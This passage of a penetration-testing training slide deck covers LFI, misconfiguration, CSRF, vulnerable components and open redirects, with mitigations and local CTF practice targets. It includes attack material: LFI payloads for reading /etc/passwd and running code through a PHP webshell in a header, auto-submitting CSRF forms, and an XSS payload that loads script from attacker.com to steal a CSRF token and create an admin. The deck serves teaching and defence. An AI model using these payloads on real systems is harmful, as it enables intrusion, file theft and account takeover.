// You are not allowed to go outside root directory. If you can bypass, tell admin!!
$b = substr(strstr($p, ".."), 2);
if (strstr($b, "../"))
die("Too many ../");
$p = "resource/" . $p;
if (!file_exists($p))
die("file not found");
header('Content-Type: image');
echo file_get_contents($p);
```
----
### Common Ways to Exploit LFI
- Using file upload <span class="red">forms/functions</span>
- Using the PHP wrapper <span class="red">expect://command</span>
- Using the PHP wrapper <span class="red">php://file</span>
- Using the PHP wrapper <span class="red">php://filter</span>
- Using PHP <span class="red">input://stream</span>
- Using <span class="red">data://text/plain;base64,command</span>
- Using <span class="red">/proc/self/environ</span>
- Using <span class="red">/proc/self/fd</span>
----
#### Cont.
- Using ==log files== with controllable input like:
- /var/log/apache/access.log
- /var/log/apache/error.log
- /var/log/vsftpd.log
- /var/log/sshd.log
- /var/log/mail
----
### Tricky Ways to Exploit PHP LFI
----
#### Direct Local File Inclusion
- Reading arbitrary files
- index.php?file=<span class="red">/etc/passwd</span>
- index.php?file=<span class="red">php://filter/convert.base64-encode/resource=config.php</span>
- Remote code exection
- <span class="red">/proc/self/environ</span>
```
GET /index.php?file=/proc/self/environ&cmd=id HTTP/1.1
Host: www.site.com
User-Agent: <?php echo assert($_GET['cmd']);?>
```
----
##### Cont.
- Remote code exection
- Zip and Phar wrappers
- index.php?file=<span class="red">zip://image.zip#shell.php</span>
- index.php?file=<span class="red">phar://image.phar/shell.php</span>
- Session Files
- PHP5 stores session files in <span class="red">/var/lib/php5/sess_*</span>
```
Cookie: PHPSESSID=123php # /var/lib/php5/sess_123php
index.php?file=/var/lib/php5/sess_123php
```
----
#### Indirect Local File Inclusion
- Reading arbitrary files
- index.php?file=<span class="red">php://filter/convert.base64-encode/resource=config</span> # will append ".php" at the end
- Remote code exection
- Zip and Phar wrappers
- index.php?file=<span class="red">zip://image.zip#shell</span>
- index.php?file=<span class="red">phar://image.phar/shell</span>
----
##### Cont.
- Remote code exection
- Session Files
- PHP5 stores session files in <span class="red">/var/lib/php5/sess_*</span>
```
Cookie: PHPSESSID=123php # /var/lib/php5/sess_123php
index.php?file=/var/lib/php5/sess_123
```
----
#### Case Study
- [PHPMyAdmin 4.8.0 ~ 4.8.1 Remote Code Execution](https://medium.com/@happyholic1203/phpmyadmin-4-8-0-4-8-1-remote-code-execution-257bcc146f8e)
- [phpMyAdmin 4.8.x 本地文件包含漏洞利用](http://blog.vulnspy.com/2018/06/21/phpMyAdmin-4-8-x-LFI-Exploit/)
----
#### LFI Practice 1
> Get the flag
### http://127.0.0.1:8094/

----
#### LFI Practice 2
> Get the flag
### http://127.0.0.1:8095/

----
##### Cont.
**Hint:**
1. [CODEGATE 2015 CTF quals – Owlur Writeup (Web 200)](https://0x1337seichi.wordpress.com/2015/03/15/codgate-2015-ctf-quals-owlur-writeup-web-200/)<!-- .element: class="fragment" data-fragment-index="1" -->
---
## Security Misconfiguration
----
### Introduction
Attacker accesses default accounts, unused pages, unpatched flaws, unprotected files and directories, etc. to gain unauthorized access to or knowledge of the system.
----
### Common Pitfalls
- Use default username:password pairs
- Wrong setting of the server configuration file
- Forget to deploy the server in production mode
----
### Default Account and Password
https://cirt.net/passwords
----
### Misconfiguration
----
#### Nginx - Case 1
> It's common we use variables, such as `$uri`, `$document_uri`, and `$request_uri`, to redirect users to somewhere

What would then happen?
CRLF Injection<!-- .element: class="red fragment" data-fragment-index="1" -->
----
##### Cont.
Why `$uri` will cause CRLF Injection?
- ==$uri, $document_uri== are URL decoded strings
- ==$request_uri== is the original, encoded string
- Therefore, an implicit newline character might exists when you use the variables `$uri` and `$document_uri`
----
#### Nginx - Case 2

What would then happen?
Any response packet from<!-- .element: class="red fragment" data-fragment-index="1" --> ==/test2== will have no CSP header, thus no CSP protection
----
##### Cont.
Why? That's because ==add_header== directives are inherited from the previous level if and only if there are ==no add_header directives defined on the current level==
----
#### Tool
- [gixy](https://github.com/yandex/gixy) - Nginx configuration static analyzer
----
### Version Control
- Nowadays, we love to use version control software to help us organize the project with team members
- We may choose one out of them: `git`, `svn`, `hg`, etc.
----
#### Security Issue
When hackers discover...

----
##### Cont.

----
#### Intro to Git
- [為你自己學 Git](http://gitbook.tw/)
- [你知道 Git 是怎麼一回事嗎?](http://s.itho.me/modernweb/2017/day1/202-4-%E9%AB%98%E8%A6%8B%E9%BE%8D.pdf)
- [Don't publicly expose .git or how we downloaded your website's sourcecode - An analysis of Alexa's 1M](https://en.internetwache.org/dont-publicly-expose-git-or-how-we-downloaded-your-websites-sourcecode-an-analysis-of-alexas-1m-28-07-2015/)
----
#### Tool
- [dvcs-ripper](https://github.com/kost/dvcs-ripper) - Rip web accessible (distributed) version control systems: SVN/GIT/HG... by @kost
- [DVCS-Pillage](https://github.com/evilpacket/DVCS-Pillage) - Pillage web accessible GIT, HG and BZR repositories by @evilpacket
----
#### Practice
> Get the shell to read the flag
### http://localhost:8096/phpinfo.php

----
##### Cont.
**Hint:**
1. [nginx_parsing_vulnerability](https://github.com/phith0n/vulhub/blob/master/nginx_parsing_vulnerability/nginx/default.conf#L15-L23)<!-- .element: class="fragment" data-fragment-index="1" -->
2. [php-cgi 默认配置解析漏洞实践](http://larry.ngrep.me/php-cgi-vuln-practice.html)<!-- .element: class="fragment" data-fragment-index="2" -->
---
## Sensitive Data Exposure
----
### Introduction
Many web applications ==do not properly protect sensitive data==, such as credit cards, tax IDs, and authentication credentials.
Attackers typically don’t break crypto directly. They break something else, such as steal keys, do man-in-the-middle attacks, or steal clear text data off the server, while in transit, or from the user’s browser.
----
### Case 1 - [YouBike App密碼更新回傳機制出包,用手機號碼就能竄改他人密碼](http://www.ithome.com.tw/news/114548)
資安漏洞通報平臺HITCON ZeroDay近日提報,YouBike App驗證功能沒有任何加密機制,造成用戶的密碼以明文方式呈現在URL網址上面。並且,任何人可以直接在URL網址,修改密碼變數的數值,來更改用戶密碼,進一步竊取該用戶在YouBike的資料。
----
### Case 2 - [北市智慧支付App驚爆回傳資料未加密,密碼全曝光,台北資訊局搶修中](http://www.ithome.com.tw/news/115148)
台北市周末剛發布的智慧支付App後端資料傳輸出狀況,沒有使用Https加密,都採用HTTP和明碼傳輸,帳號和密碼都可以被攔截而曝光。
----
### Case 3 - [PChome IM 設計遭爆資訊安全問題](https://www.bnext.com.tw/article/36795/BN-2015-07-17-174833-77)
網路家庭電子商務集團(8044-tw) PChome Online,繼否認旗下網路服務露天拍賣會員帳戶遭盜後,又遭到業餘資安研究人員在臉書踢爆,其於日前推出的服務 PChome IM 有安全性問題。
---
## Missing Function Level Access Control
----
### Introduction
Most web applications verify function level access rights before making that functionality visible in the UI. However, applications need to perform the same access control checks on the server when each function is accessed.
If requests are not verified, attackers will be able to forge requests in order to access functionality without proper authorization.
----
### Real Case - XX美術館
1. XX美術館的後台登入網址為:
[http://xx.org/admin/login/](http://xx.org/admin/login/)
從這邊可看到應該需要輸入正確的帳號密碼才可登入
2. 後來發現若直接從它 POST 的地址:
[http://xx.org/action/admin/admin_login](http://xx.org/action/admin/admin_login)
直接 access ,會直接重導向後以管理員的身分進入後台管理頁面
3. ~~XX美術館存在目錄遍歷問題,網址為:
[http://xx.org/uploads/file/](http://xx.org/uploads/file/)
這邊可以直接載到整站備份原始碼~~
----
#### Cont.

----
#### What can we learn from this case?
1. Authentication functions should be well-tested before deploying
----
#### How to patch?
Discussion...
1. Performing<!-- .element: class="fragment" data-fragment-index="1" --> ==testing== before deploying should be the common resolution
----
#### Practice
> Get the flag
### http://127.0.0.1:8097/

---
## Cross-Site Request Forgery (CSRF)
----
### Introduction
A CSRF attack forces a logged-on victim’s browser to send a ==forged HTTP request==, including the victim’s session cookie and any other automatically included authentication information, to a vulnerable web application.
This allows the attacker to force the victim’s browser to generate requests the vulnerable application thinks are legitimate requests from the victim.
----
### Example
Say, we have a `remittance` button to make a remittance.
```htmlmixed=
<a id="remittance"
href="/remittance.php?id=xxx&amount=10000">Remittance</a>
```
----
#### Cont.
We also do check if a valid session id is followed with an incoming request.
Seems no problem at all, right?
----
#### Cont.
No. Imagine a bad guy send a link to a normal user, and the content of that link is:
```htmlmixed=
<img width="0" height="0"
src="/remittance.php?id=xxx&amount=10000" />
```
The request of making a remittance will sliently be sent on behalf of the normal user. :jack_o_lantern:
----
### How about POST method?
```htmlmixed=
<iframe style="display:none" name="csrf-frame"></iframe>
<form method="POST" action="http://xxx.com/remittance.php"
target="csrf-frame" id="csrf-form">
<input type="hidden" name="id" value="xxx">
<input type="hidden" name="amount" value="30000">
<input type='submit' value='submit'>
</form>
<script>
document.getElementById("csrf-form").submit();
</script>
```
----
### Mitigation
Let's recall the rationale of CSRF attack, it will succeed because the server doesn't know if the request was sent by the user himself/herself.
----
#### Referer Header
Before we start to talk about how ==referer header== can be used to defence CSRF attack, let's first see what's wrong with the header.
Referer is actually misspelled, the correct spelling is Referrer.<!-- .element: class="fragment" data-fragment-index="1" -->
Ref: https://en.wikipedia.org/wiki/HTTP_referer<!-- .element: class="fragment" data-fragment-index="1" -->
----
##### Cont.
Since the referer header will store the previous visited url, we can utilize this value to check if the request was issued somewhere. Then, is so, we can mark this request as a malign one.
However, this mitigation is later be noticed as a useless mitigation. The referer header ==can be forged== by users, therefore the value is not trusted at all.
----
#### CAPTCHA
It's an abbreviated form of Completely Automated Public Turing test to tell Computers and Humans Apart.
There're also ==reCAPTCHA== and ==noCAPTCHA reCAPTCHA==.
Ref: [為什麼只要勾選「我不是機器人」,Google 就知道你不是機器人?](https://buzzorange.com/techorange/2017/09/13/captcha-and-recaptcha/)
----
##### Cont.
### Quiz

----
##### Cont.
CAPTCHA, reCAPTCHA, and noCAPTCHA reCAPTCHA are good mitigations to CSRF attack indeed.
Nevertheless, users will soon ==get annoyed== by guessing pictures or text.
----
#### CSRF token
- A random value generated by the server, and stored it in the session owned by the server
- When a request comes in, the server will compare the value given by the request with the value stored in the session
- The attack will not work because the hacker didn't know the CSRF token, so he/she cannot make a legitimate request
----
#### Bypass CSRF token protection by leveraging XSS
- Say, we know that a certain website has a little application on the main page which is vulnerable to XSS, and a forum on `/forum` which is not vulnerable to CSRF
- The forum is protected by CSRF token as we discussed above
----
##### Cont.
- Since we do not know the CSRF token, the solution is piece of cake. We just find it, and we can do this very easily using javascript actually
- Then, after getting the CSRF token, we just make a GET or POST CSRF attack depending on what situation we met
----
##### Cont.
1. Send a XSS payload like:
```htmlmixed=
http://www.site_vulnerable.com/index.php?name=<script
src="http://www.attacker.com/script.js"></script>
```
2. The content inside the `script.js` is:
```htmlmixed=
document.writeln('<iframe id="iframe" onload="read()" width="0" height="0"
src="/admin/admin.php?action=add_admin"></iframe>');
function read() {
var name = 'Boik';
var token = document.getElementById("iframe").contentDocument.forms[0].token.value;
document.writeln('<form width="0" height="0" method="post"
action="/admin/add_admin.php">');
document.writeln('<input type="text" name="name" value="' + name + '" /><br />');
document.writeln('<input type="hidden" name="token" value="' + token + '" />');
document.writeln('<input type="submit" name="submit" value="Add_admin" /><br/>');
document.writeln('</form>');
document.forms[0].submit.click();
}
```
----
##### Cont.
Or even easier with the support of Firefox.
- The content inside the `script.js` is changed to:
```htmlmixed=
document.writeln('<iframe id="iframe" width="0" height="0"
onload="read()"
src="/admin/admin.php?action=add_admin"></iframe>');
function read() {
var name = 'Boik';
document.getElementById("iframe")
.contentDocument.forms[0].name.value = name; // Write name
document.getElementById("iframe")
.contentDocument.forms[0].submit.click(); // Press click
}
```
- It's because ==contentDocument== is read-only in most browsers, except for Firefox
----
#### Double Submit Cookie
It's a more common way to mitigate CSRF attack. Besides setting the CSRF token into `form`, the server also sets the same value to the user's cookie instead of server's session.
The success behind this mitigation is based on the truth that attackers cannot write a cookie of to other domains. In contrast, if attackers have the ability to write a cookie to his/her desired domain, this mitigation will fail.
----
##### Cont.
Unfortunately, there are two common scenarios where writing cookies across domains is possible
----
##### First
- While it’s true that hellokitty.marketing.example.com cannot read cookies or access the DOM from secure.example.com because of the ==same origin policy (SOP)==, hellokitty.marketing.example.com can write cookies to the parent domain (example.com), and these cookies are then be consumed by secure.example.com (secure.example.com has no good way to distinguish which site set the cookie)
----
##### Cont.
- Additionally, there are methods of forcing secure.example.com to always accept your cookie first. What this means is that XSS in hellokitty.marketing.example.com is able to overwrite cookies in secure.example.com
----
##### Second
- If an attacker is in the middle, they can usually force a request to the same domain over HTTP. If an application is hosted at https://secure.example.com, even if the cookies are set with the secure flag, a man in the middle can force connections to http://secure.example.com and set (overwrite) any arbitrary cookies (even though the secure flag prevents the attacker from reading those cookies)
----
##### Cont.
- Even if the HSTS header is set on the server and the browser visiting the site supports HSTS (this would prevent a man in the middle from forcing plaintext HTTP requests) unless the HSTS header is set in a way that includes all subdomains, a man in the middle can simply force a request to a separate subdomain and overwrite cookies similar to 1. In other words, as long as http://hellokitty.marketing.example.com doesn’t force https, then an attacker can overwrite cookies on any example.com subdomain
----
#### Browser side Protection - SameSite Cookie
- Google has adapted a 'SameSite' cookie attribute since Chrome 51
- Same-site cookies allow servers to mitigate the risk of CSRF and information leakage attacks by asserting that a particular cookie should only be sent with requests initiated from the same registrable domain
----
##### Cont.
How to use?
- This is the original use case
- Set-Cookie: session_id=ewfewjf23o1;
- Now, setting a SameSite cookie by
- Set-Cookie: session_id=ewfewjf23o1;<!-- .element: class="fragment" data-fragment-index="1" --> ==SameSite==
----
##### Cont.
- 'SameSite' cookie attribute has actually two mode, `Strict` and `Lax`
- Set-Cookie: session_id=ewfewjf23o1; ==SameSite=Strict==
- Set-Cookie: foo=bar; ==SameSite=Lax==
----
##### Cont.
- Strict mode
- It's Default value
- The cookie is withheld with any cross-site usage, and even when the user follows a link to another website, the cookie is not sent
----
##### Cont.
- Lax mode
- Some cross-site usage is allowed
- Specifically if the request is a GET request and the request is top-level
- Top-level means that the URL in the address bar changes because of this navigation.
- This is not the case for iframes, images or XMLHttpRequests
----
##### Table

---
## Using Components with Known Vulnerabilities
----
### Introduction
Components, such as ==libraries, frameworks, and other software modules==, almost always run with
full privileges. If a vulnerable component is exploited, such an attack can facilitate serious data loss or server takeover.
Applications using components with known vulnerabilities may undermine application defenses and enable a range of possible attacks and impacts.
----
### HackMD
----
#### HackMD - Part.1 (fixed)
HackMD 的簡報模式存在 Stored XSS 攻擊,其有問題的程式碼在[這](https://github.com/hackmdio/hackmd/blob/0.4.5/public/js/slide.js#L2):
```javascript=
var body = $(".slides").html();
$(".slides").html(S(body).unescapeHTML().s);
```
----

----

----
#### HackMD - Part.2 (fixed)
HackMD 的 metadata 存在 Stored XSS 攻擊,其有問題的程式碼在[這](https://github.com/hackmdio/hackmd/blob/0.4.5/lib/response.js#L215):
```javascript=202
var data = {
title: title,
description: meta.description,
viewcount: note.viewcount,
createtime: createtime,
updatetime: updatetime,
url: origin,
body: text,
useCDN: config.usecdn,
owner: note.owner ? note.owner.id : null,
ownerprofile: note.owner ? models.User.parseProfile(note.owner.profile) : null,
lastchangeuser: note.lastchangeuser ? note.lastchangeuser.id : null,
lastchangeuserprofile: note.lastchangeuser ? models.User.parseProfile(note.lastchangeuser.profile) : null,
robots: meta.robots || false, //default allow robots
GA: meta.GA,
disqus: meta.disqus
};
```
----

----

----
#### HackMD - Part.3 (fixed)
HackMD 的 metadata 經過修補後仍然存在 Stored XSS 攻擊,其有問題的程式碼在[這](https://github.com/hackmdio/hackmd/blob/0.4.5/lib/models/note.js#L273):
```javascript=273
extractNoteTags: function (meta, $) {
var tags = [];
var rawtags = [];
if (meta.tags && (typeof meta.tags == "string" || typeof meta.tags == "number")) {
var metaTags = ('' + meta.tags).split(',');
for (var i = 0; i < metaTags.length; i++) {
var text = metaTags[i].trim();
if (text) rawtags.push(text);
}
} else {
var h6s = $("h6");
h6s.each(function (key, value) {
if (/^tags/gmi.test($(value).text())) {
var codes = $(value).find("code");
for (var i = 0; i < codes.length; i++) {
var text = $(codes[i]).html().trim();
if (text) rawtags.push(text);
}
}
});
}
```
----

----
### Wordpress
----
#### [Wordpress <= 4.9.6 任意文件删除漏洞](http://blog.vulnspy.com/2018/06/27/Wordpress-4-9-6-Arbitrary-File-Delection-Vulnerbility/)
----
### 蝉知 CMS
- [蝉知 Cms Csrf Getshell](https://bugs.shuimugan.com/bug/view?bug_no=109525)
- [蝉知cms 5.6 getshell](http://www.yqxiaojunjie.com/index.php/archives/308/)
----
##### Case Study
1. 某網站使用蝉知 5.1 ,因此存在前述第二點提及之漏洞

3. 利用此漏洞提升一般使用者權限至管理員

----
##### Cont.
3. 再接著利用第一項之漏洞使其安裝我們上傳的惡意構造的插件

----
##### Cont.
4. 拿到 shell

5. 經檢查 kernel 版本後得知可以使用 [CVE-2017-1000253](https://github.com/sagiesec/PIE-Stack-Clash-CVE-2017-1000253) 提權至 <span class="red">root</span> ,不過那又是另一回事了
----
### Practice 1
> Get the flag
### http://127.0.0.1:8098/
**Hint:**
1. Check<!-- .element: class="fragment" data-fragment-index="1" --> [Create an Unexpected Object and Don't Invoke __wakeup() in Deserialization](https://bugs.php.net/bug.php?id=72663)
2. Check<!-- .element: class="fragment" data-fragment-index="2" --> [Mysql字符编码利用技巧](https://www.leavesongs.com/PENETRATION/mysql-charset-trick.html)
----
### Practice 2
> Get the flag
### http://127.0.0.1:8099/

----
#### Cont.
**Hint:**
1. Check<!-- .element: class="fragment" data-fragment-index="1" --> [CVE-2017-9805](https://github.com/qazbnm456/awesome-cve-poc/blob/master/CVE-2017-9805.md)
---
## Unvalidated Redirects and Forwards
----
### Introduction
Web applications frequently redirect and forward users to other pages and websites, and use ==untrusted data== to determine the destination pages.
Without proper validation, attackers can redirect victims to phishing or malware sites, or use forwards to access unauthorized pages.
----
### Real Case - [Open redirects that matter](https://sites.google.com/site/bughunteruniversity/best-reports/openredirectsthatmatter)
Tomasz Bojarski, coming from a little town in Poland, used not one, but two redirects to trigger an XSS on events.google.com.
Proof of Concept:
```!
https://events.google.com/io2015/api/v1/photoproxy?url=https%3A%2F%2Fpicasaweb.google.com%2fdata%2Ffeed%2Fapi%2F..%2f../../bye/%3fcontinue=https%3A%2F%2Fwww.google.com%2Famp/woops-pocs.appspot.com?xss
```
----
#### Step 1
[This Google I/O site](https://events.google.com/io2015/) use a workaround to fetch photos from Picasa Web Albums.(/api/v1/photoproxy server-side handler that could fetch a URL passed in a parameter and proxy the HTTP response)
```javascript=
url := r.FormValue("url")
if !strings.HasPrefix(url, "https://picasaweb.google.com/data/feed/api") {
writeJSONError(c, w, http.StatusBadRequest, "url parameter is missing or is an invalid endpoint")
return
}
```
Hence, if we want to trigger an XSS, we must find a cross-domain redirect endpoint exists in https://picasaweb.google.com.
----
#### Step 2
Although a known redirect endpoint: https://picasaweb.google.com/bye?continue= exists, there’s another restriction that redirect from the continue parameter value is not fully open, as it needs to point to one of the Google domains (e.g. www.google.com).
In order to serve arbitrary content, Tomasz needed to find an open redirect on www.google.com and chain it.
----
#### Step 3
www.google.com contains a few open redirects - and the newest one is related to AMP:
[https://www.google.com/amp/<url-without-the-protocol>](https://www.google.com/amp/<url-without-the-protocol>)
Chaining these two redirects results in a URL that starts in the Picasa origin, but ends in an arbitrary domain:
https://picasaweb.google.com/data/feed/api/../../../bye/?continue=https%3A%2F%2Fwww.google.com%2Famp/your-domain.example.com/path?querystring
----
##### Cont.
However, request handler the server specifies an ==application/json Content-Type== that stops modern browsers from interpreting the response as HTML.
```go=
func servePhotosProxy(w http.ResponseWriter, r *http.Request) {
c := newContext(r)
if r.Method != "GET" {
writeJSONError(c, w, http.StatusBadRequest, "invalid request method")
return
}
url := r.FormValue("url")
if !strings.HasPrefix(url, "https://picasaweb.google.com/data/feed/api") {
writeJSONError(c, w, http.StatusBadRequest, "url parameter is missing or is an invalid endpoint")
return
}
req, err := http.NewRequest("GET", url, nil)
if err != nil {
writeJSONError(c, w, errStatus(err), err)
return
}
res, err := httpClient(c).Do(req)
if err != nil {
writeJSONError(c, w, errStatus(err), err)
return
}
defer res.Body.Close()
w.Header().Set("Content-Type", "application/json;charset=utf-8")
w.WriteHeader(res.StatusCode)
io.Copy(w, res.Body)
}
```
----
##### Cont.
Tomasz found a clever trick to bypass this control. You’ll notice that the Content-Type header is only emitted when the response is successfully fetched. In the event of an error, ==the writeJSONError function is called instead==.
----
#### Step 4

----
```javascript=
{"error": "Get http://woops-pocs.appspot.com: failed to parse Location header \"//><img src=x onerror='alert(document.domain)'\": parse //><img src=x onerror='alert(document.domain)': invalid character \" \" in host name"}
```

----
#### What can we learn from this case?
1. It could be problems sometimes that we implement some<!-- .element: class="fragment" data-fragment-index="1" --> ==workarounds==
----
#### How to patch?
Discussion...
1. Ensure that the function emits the correct<!-- .element: class="fragment" data-fragment-index="1" --> ==Content-Type==. Such as ==application/json== header in this case
---
## Handbook
[Red Team Test](https://hackmd.io/c/H1TrkP46b/%2Fs%2FHJMcuuCLQ)
---
## Reference
- [Excess XSS](https://excess-xss.com/)
- [The innerHTML Apocalypse](https://www.slideshare.net/x00mario/the-innerhtml-apocalypse)
- [Universal Cross-site Scripting (uXSS): The Making of a Vulnerability](https://www.acunetix.com/blog/web-security-zone/universal-cross-site-scripting-uxss/)
----
### Cont.
- [三个案例看Nginx配置安全](https://www.leavesongs.com/PENETRATION/nginx-insecure-configuration.html)
- [讓我們來談談 CSRF](https://blog.techbridge.cc/2017/02/25/csrf-introduction/)
----
## Thank you :flushed:
{"metaMigratedAt":"2023-06-14T18:19:20.227Z","metaMigratedFrom":"YAML","title":"Basic concept of Penetration Testing","breaks":true,"robots":"noindex, nofollow","contributors":"[{\"id\":\"07588154-8d57-4c78-8ac0-7e70a5b433c3\",\"add\":71299,\"del\":10774}]"}